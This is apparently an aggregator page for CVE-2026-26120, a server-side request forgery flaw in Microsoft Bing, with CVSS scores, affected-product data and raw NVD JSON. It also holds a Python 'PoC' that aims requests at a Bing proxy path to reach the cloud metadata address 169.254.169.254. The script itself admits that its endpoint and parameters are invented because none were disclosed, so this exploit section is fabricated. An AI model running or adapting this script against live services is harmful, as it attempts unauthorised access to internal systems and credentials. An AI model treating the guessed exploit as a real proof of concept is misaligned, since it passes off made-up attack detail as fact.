Security Vulnerability Report
中文
CVE-2026-26120 CVSS 6.5 MEDIUM

CVE-2026-26120

Published: 2026-03-19 21:17:07
Last Modified: 2026-04-01 15:12:38

Description

Server-side request forgery (ssrf) in Microsoft Bing allows an unauthorized attacker to perform tampering over a network.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:microsoft:bing:-:*:*:*:*:*:*:* - VULNERABLE
Microsoft Bing (具体受影响版本未披露)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for SSRF in Microsoft Bing # Note: This is a generic example as specific endpoints were not disclosed. import requests def exploit_ssrf(target_base_url, internal_url): """ Attempts to send a request with a malicious URL to trigger SSRF. """ # Example payload structure, actual parameter names may vary. payload = { 'url': internal_url, 'source': 'external' } try: print(f"[*] Sending SSRF request to {target_base_url} with payload: {internal_url}") response = requests.get(target_base_url, params=payload, timeout=10) if response.status_code == 200: print("[+] Request successful!") print(f"[+] Response length: {len(response.text)}") print(f"[+] Response snippet: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual vulnerable endpoint and internal target TARGET = "https://www.bing.com/api/proxy" INTERNAL_TARGET = "http://169.254.169.254/latest/meta-data/" # Common metadata endpoint exploit_ssrf(TARGET, INTERNAL_TARGET)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26120", "sourceIdentifier": "[email protected]", "published": "2026-03-19T21:17:06.513", "lastModified": "2026-04-01T15:12:38.017", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Server-side request forgery (ssrf) in Microsoft Bing allows an unauthorized attacker to perform tampering over a network."}, {"lang": "es", "value": "Falsificación de petición del lado del servidor (SSRF) en Microsoft Bing permite a un atacante no autorizado realizar manipulaciones a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:bing:-:*:*:*:*:*:*:*", "matchCriteriaId": "622F4499-3149-4D84-8A29-332A7F498209"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26120", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}